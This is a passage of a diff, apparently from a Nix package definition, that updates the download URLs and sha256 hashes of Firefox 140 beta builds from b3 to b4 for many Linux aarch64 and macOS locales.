+      sha256 = "215715aeb75eac4285b506b3a576f358c9c49b487c124c6da4f62c6c75c171cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "d2a04cd00dcc36383febec0aa54e5dfb829b0957c46cb73a98b75fa9426c5825";
+      sha256 = "9a0aba63bf9b643d94b85f21e05b817aacacd46e74531c1de2771962b47e234c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "c8574ade0135845ff83bb0e4cda0889018e504182c75c255dbd58219d1b2a35a";
+      sha256 = "395c7875c568318821381aea1a879e63e477ee281eb3f071bd26ee43a5f803e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "707d5664f07614223f01de9d5bdf4b9e9da56094b8f7b86c0db95fb2b3165574";
+      sha256 = "be24eaa206c9e1685a068f44547603770de6f623a3701edec12fe8289fc425b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "2412b00ddda9df5fbfd19b61a1d38eb859287ae0fe7702bd78f508fcaa6788dd";
+      sha256 = "3b0d01efdd7cac99912ee95dd058a0a115e7f0dacccfa948b0a56e4a9fbf88f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "1404f86ca8c153daa32aaa64f2762e530f54da743dbd088a4ac269710b735bd7";
+      sha256 = "08de3ee0eb0cfaacd24a525ebc645e3a3ebe8b7b4ec2bb25a1f9afab20c65ba9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "43b9ffa8ba86eb6087dd7c4e7a876caf8817958691591adcf70e2d55c47ff927";
+      sha256 = "be9a2ec30189f97b100dc683e61c6484aad2830b1ba1263a043ed5e6e9a3afed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ach/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ach/Firefox%20140.0b4.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "f8f307c3ae6b6ec25ff249cd9a244c5f37c724f93d4c69fd0f1a2df9e5ac370b";
+      sha256 = "7011b99f89c7c60f226f115896cad9e68d5cbaeca7a819684f85d8b071595c76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/af/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/af/Firefox%20140.0b4.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "81fb685411cac7060c66d52089c36e35385d3b29b250847a3c120096c0c26517";
+      sha256 = "2c3e99a5d7c10303a21aae63646ee282ab113392ed786697bfab38a5ad486773";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/an/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/an/Firefox%20140.0b4.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "e4e627d9d160d2edae3b40f30aff3e2e8001bf92e3cda600c4a7990c7329edea";
+      sha256 = "2c656ae52400af6838b92d40968452d7d61d520746363e5a53a54048e382c4de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ar/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ar/Firefox%20140.0b4.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "12c23cfbe39e045769232288bfde570ca4736003e1fb79d54d254859a5414398";
+      sha256 = "5bc54dd06348de5a8ffda4f2fdd1223c78532a31041a7a6e28a3dccac2f57e06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ast/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ast/Firefox%20140.0b4.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "1b94a5428889e602826e387c2c92242aca7c9cd5f8ef6faacb77cd6748e61fa1";
+      sha256 = "054584aa35018c91369ba1e53675333debe62c8c10fb34b27fd9233869330cfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/az/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/az/Firefox%20140.0b4.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "dffdd05848f2dd592bb449c98333817fc0b47f53823e2139bb4ce908668d7461";
+      sha256 = "665f07436f9d3da77906c250a390d07fadc472d9014bf708c4b76e4787aee258";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/be/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/be/Firefox%20140.0b4.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "3343fcaf79d016a39fe7b53e4558b77dfddbb2c837cfa213375de1242bc55e7c";
+      sha256 = "c9934c38c43f95da6d3a5ed936b39f0a33399dc805dc26a357423a6d76082527";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bg/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bg/Firefox%20140.0b4.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "9a561c7716e48b632f9f6893380a8d4abda5175e2d4f6e77b17a56d1b7709ab4";
+      sha256 = "ce43e7486523ea791a3410b23d6445ac4742bdfc17f4dff7fef166c9dfb74fc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bn/Firefox%20140.0b4.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "788a256ef5bc70861d84b0e54fe06f8877dcfd325ab6a4e87748c6ae5ea230f3";
+      sha256 = "82f8fd00def7073356e6091e759cb14bce43d1e808118deeedd35c3c9e52442b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/br/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/br/Firefox%20140.0b4.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "fc113a5fb3d3e04f5ae6ae2c9430f024b57f7dcce688b412042df3d808f4d9e1";
+      sha256 = "b4dacee5016f58f013682c8979db040c62c0430517f796934928e3d3758f93fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bs/Firefox%20140.0b4.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "1f4e0e5ad0644c6cdedeb4cb98bbefc5963e91e1a2b7d94875a6a7c331dabd81";
+      sha256 = "94061d43536184681a280e8439b05f0a5d035aac89cebc28021750818ac2e912";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ca-valencia/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ca-valencia/Firefox%20140.0b4.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "659c2b8c92033241ac3d4c0ae0574ed9d451d613da73266196f8b72b7f7267e8";
+      sha256 = "eef766eb8aa3a35ec8b56cbe5bcdb3a1a6b452bc2d7b6922de7dab7735267bdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ca/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ca/Firefox%20140.0b4.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "018db90dfb122a6623398aec698eb8b75d242da2d1f04c16dc1e8c61b3b7729e";
+      sha256 = "d4e684531c5ac1410eeb5454448e61fdc037a768df6355084a9383a560400dab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cak/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cak/Firefox%20140.0b4.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "ac8c6b24f2dd76d4afc789404737c9cf86a4b12a86b9a72e8ae6522459af8f2d";
+      sha256 = "64ed36ea6ac02037d431b10790ec589a54bc0855b41f40729cc2f0dd1b5735da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cs/Firefox%20140.0b4.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "cae8956a1b6be0bcc22d406eef7a1d27012e31dcbd3340b03c8ccd923ec43d64";
+      sha256 = "df4e1c59384368749ade8227c196346925c49673d9460b25b0b2f63f7b5d77c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/cy/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cy/Firefox%20140.0b4.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "a3bc30cc4d9109bda4ee5cda25a7563fbf6251e2a8bdb85c9921ec2ae7b67581";
+      sha256 = "7be81560ab2efa8961f8283bf9ae41b78e9bfecb4fc062bb5a370b691b6e69c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/da/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/da/Firefox%20140.0b4.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "5519c55dd95147ba7924d7eaf64f43672b3e5d0af3c356215e1f4f3a9b8384e0";
+      sha256 = "84658e5fea8ba57840788c7d4bdf7ea2600fbea63a7b4c4a2339e70c81f0570d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/de/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/de/Firefox%20140.0b4.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "a449db92f8e9238184aca1afa2714ead4eee5c957d8064b85a06ee28ae71ebe5";
+      sha256 = "7b18cf594122f970a0e54bd404c92a509134003a48dc238669b93e22207b2301";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/dsb/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/dsb/Firefox%20140.0b4.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "08d0480a1ef2a1fb17eb48369fd4fa9d0ec5a9a53346822a7e8ebf160e7eb3b6";
+      sha256 = "5eaf65eff742646d55df43fe7cf2c2a64b920203a566c8e781eebac4162348aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/el/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/el/Firefox%20140.0b4.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "84b4fd07308ea4fae6c0293d54e6d98482d65e72c3e832732676424c0d959c62";
+      sha256 = "d45c6ff3e7303e12f87b5d6b049653c9ae1a5516784703514f91959fdab73d70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-CA/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-CA/Firefox%20140.0b4.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "e887c18a43b67075de0950fbee2ceab00d3dec82c7581921daa61291fd9a1f15";
+      sha256 = "6375d180427113749371732054557dcc40e7d90e7a0207bcdb9306468a211021";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-GB/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-GB/Firefox%20140.0b4.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "e7eb6732d1e971838d7cd2aa953fad9a60fa40bab42f0d0fb5777a7c6ba93099";
+      sha256 = "185dc01cd6183516cab7f175982bc0de5ece04605077c2775a1f670e5360172e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/en-US/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-US/Firefox%20140.0b4.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "81e8db159fff06cc947413698ed7e1a28cfde271ab4758844f25ce42d4b04699";
+      sha256 = "dce036c33d4749910cc2d87ce4c6786f7538a83dfe22f1ae1f9bfd17d4a23523";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/eo/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/eo/Firefox%20140.0b4.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "dc6152d2c34ba3c831bfc0059393e3688ba1bc7c6bce7fd7667b5429dc34d4f3";
+      sha256 = "287ecfcbed7e32717ee2fc2940f40ec38612a14965f6c24ee6c48aaf9e2d3dac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-AR/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-AR/Firefox%20140.0b4.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "ff2cc539f933981687541f36aa33c9c0f50fe024a570ad5ef956a848c1d03986";
+      sha256 = "f0ab0790375fb20a4b99ee6fd99af0191442ef8d251711bed2796f4dd6fd8caf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-CL/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-CL/Firefox%20140.0b4.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "2ee8c11f6cc821e7b5cf04a8171031efcc035b319ef668f05e1219cfeaae06de";
+      sha256 = "26154d26c371d0de08f5e5bef5661972b6b13c4e94e285d51cf776fc77c4300e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-ES/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-ES/Firefox%20140.0b4.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "9cccd63e810c6dc2485c819c9ca575d071d278c25d303c7e06644f3f1afd8b4b";
+      sha256 = "921969d77ee23e539e68a079742bfca9bd0a749af53befc3b42849ee9abf0b34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/es-MX/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-MX/Firefox%20140.0b4.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "5f16013792bab14181e8d945e63b28cac4ad2d449001b4013d37719f1185cd29";
+      sha256 = "9dbe72025242d5510d023c190c38c5966ca986f0b06200e3797e06da48c67a93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/et/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/et/Firefox%20140.0b4.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "b8353d19f3e7db6828d8f9c525af0493912b7e7fef0edf4376c49804fbf16f17";
+      sha256 = "4e4895663ae7c07d9bcb8c56478cb7a07e8573acee7cc1f451ed777b1fd2776b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/eu/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/eu/Firefox%20140.0b4.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "4c5c47c1a5985c1bf4fa1a377cf8e35eb9942fd6c1d9fe9b62e1ba4a69d81911";
+      sha256 = "1e0ce31608914502e0101246e059da95f83f05303f5a6b2646e7595e0b008bd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fa/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fa/Firefox%20140.0b4.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "3ee414921a5d45ddea0ac1426a41e97ccfdbb01524fe1f56dd29a39cbf239fc5";
+      sha256 = "529cc279815596836eeee0240db66fc3b4132d5d462c58a8caf0d3cfc6777f1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ff/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ff/Firefox%20140.0b4.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "e0fb0c4432c152102cbba9478661870d9c6ca704b9b1b712287f07f13ee53f85";
+      sha256 = "1aff9b2159f017763c1c3add776bee0b13d30e56c5d89b1364b9ad362a5c8b73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fi/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fi/Firefox%20140.0b4.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "fd4d87e350a76e4b27a1a7137372776878b079f61fa8652372edfe274082fffc";
+      sha256 = "a70fdfb3abb400bf51d186d8c4a609f25ee0da2d29d9c26f93a1cdfc7b755c47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fr/Firefox%20140.0b4.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "bef5925b6ccbb6540fb223042acce4613f7f51a937f7d9214313521b16920978";
+      sha256 = "f7f6396a4a0a892db2e566f35c41d2b327956d4a7afa137c559c06a237f2e040";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fur/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fur/Firefox%20140.0b4.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "ba7b39bced83e20ac07b045cc0f34bfd6635a211309441c6133c86907742bc13";
+      sha256 = "c863d7680e463d3948316b98bcdfc17b9dc2e72012fb7d8d242789271b94b581";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/fy-NL/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fy-NL/Firefox%20140.0b4.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "c691224f862a2ba7306bbf30252c6c69dfa9317d251d025c07c69e5bb8362ed8";
+      sha256 = "6dac9e3b8abbc4667041767b43229188ec1a47244189ff0c742220bfc14ed298";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ga-IE/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ga-IE/Firefox%20140.0b4.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "2c0aa58a2950d25e376e2850b91cde4d14e3d1fc346f79e87e0dfe514002f0a0";
+      sha256 = "2974969a324c77ec27ac89e769891b56bc4a89ddeaf3bc049fad077d38b3de76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gd/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gd/Firefox%20140.0b4.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "92ac30054f35f414d8c1c9d4f5da9c47d45e7276c81399526fcf3025f16f7e7d";
+      sha256 = "c9177b756cc02ff1c708bc7f13516c8794ec871589a0838df5681dd14611b717";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gl/Firefox%20140.0b4.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "bbbfad7dab740d3ed8de731dedfd6e490a5e67a2015bda75b453f4505f0d3e21";
+      sha256 = "3625754df8b228d7f8b51bbafdddc6648c4b7b78d16d287fd6c648bde449e899";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gn/Firefox%20140.0b4.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "052f306c7cb17c95f31e433b609126639952699974da2cae143b21fe84fc805b";
+      sha256 = "b2e5bdb585f18fbc0933a4b782edcd08513d606afb1d2686705ee7fabf66987d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/gu-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gu-IN/Firefox%20140.0b4.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "1dd713964bdbf17f6475e54ff32c3742e3c1637444695e0c61100f21fbdad168";
+      sha256 = "7e0a44037cbf60148bec07d2c8f0bf78079b80692da2230ae2158a090d48b785";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/he/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/he/Firefox%20140.0b4.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "2f36e822da58f09ec8f2d18c2de8cc33b4208db066aaf3753dca426f121a8108";
+      sha256 = "920ade68106d20857e5af7b064c3d97d8661818be36bada7a21d6f89682db91a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hi-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hi-IN/Firefox%20140.0b4.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "6fc182be1a8a96dd5a5dab5edf9bcd6272709f5954c0b97fc6f0390f56fe5ac2";
+      sha256 = "cbdfb08d1cde45a370bde21191eb901c1b7a9e08bcf29c94fbe728182a8c2992";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hr/Firefox%20140.0b4.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "51146afa8f1a8c7c04f0b8e629f1dfad49622c024df2380af012f5b9466e0c21";
+      sha256 = "7b3c21df86b3cc960cfcb948284f042b68e367f8b3a28ffcadb7258a8538d6ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hsb/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hsb/Firefox%20140.0b4.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "a5ace3b21b9ecc94fb5449f38e70d463cbace509a240062985a5a0ad1f6dab33";
+      sha256 = "0dddbcdd417f10b2d2e576346c313dd325b170cebb478827ee3f19154aa2e3f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hu/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hu/Firefox%20140.0b4.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "d67467bf4cc780c6aa8ead5dc362b88a4e1839fdcd4e059c94c53ec851a711be";
+      sha256 = "6aa34847a12eab43aa04ca1ee27c5edd5562a5e916fe47a64a5a469b46201e3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/hy-AM/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hy-AM/Firefox%20140.0b4.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "6a3c5095e3402fac2eb4d4b39b605312e723e608510c0417f278a393af12bf51";
+      sha256 = "4f723e805556cca933b97981871c1e1408cfbd766b15037981af9deddd041fb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ia/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ia/Firefox%20140.0b4.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "bf271c5ece7ee47055fbc6eb8d34fa9736afa4e7408f7345ef352d4ed2d0a4d1";
+      sha256 = "9ad43eff14c069d7ef7f27e2b47fd4713af832410c579868293ee7f78cc8c07b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/id/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/id/Firefox%20140.0b4.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "41301f061f84a594cbfc28dcbd87aa9bc714a384ee41f4b766186d17c8207b9f";
+      sha256 = "3176ea295423ecd71a466a79e9657fea751e6d8c71db66a0709168556f8eae45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/is/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/is/Firefox%20140.0b4.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "27592a8d3eef8a9d252927f64fba236cf6b7d420eb1e3f5501b6efa366f79691";
+      sha256 = "9cf0acbdb7c99914542941333fd1fbe108fed41f46af9fbefaf0a480adc0564b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/it/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/it/Firefox%20140.0b4.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "20e01876b7a2eda3a586bbd658d04672e400e2c0207083620a2ea2910b71a9f8";
+      sha256 = "5e345715eba89bc244e16c73dacc522a3b83e9ec3f99ae072945b18cfa904f5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ja-JP-mac/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ja-JP-mac/Firefox%20140.0b4.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "a140e19cb6c43f334d416494e3faf181c3c3d09933b25e8bea3d8671c768e384";
+      sha256 = "308d2c19609ed3874fe8cd3619602d606356ed55c4ca0f1fca1dede932c19e79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ka/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ka/Firefox%20140.0b4.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "75eaf79b48b1b2640cdf39c4b75b4c6f44c69ea289909bb6a85392e40a7023dd";
+      sha256 = "d0ebffe428b05422977dac4bf3380c3e57a0ed42d7a4110699ec4b92fe168bce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kab/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kab/Firefox%20140.0b4.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "076aea0ff89b228814d74860b3139a8694c5b660a09f000c07bf7925b15f0a5a";
+      sha256 = "e0002e9e16c91d5b8a9ea7d3de83799bbd77e6c23aee05759052e8d6303e01bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kk/Firefox%20140.0b4.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "9852eddf1ab5078e8dff92699ecebff9d7fa7e4466de87ba090e5d71e4415b57";
+      sha256 = "efff905c517fbdb1b3a1171b3114790cda03acb4002c9653070092149b92bc8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/km/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/km/Firefox%20140.0b4.dmg";
       locale = "km";
       arch = "mac";
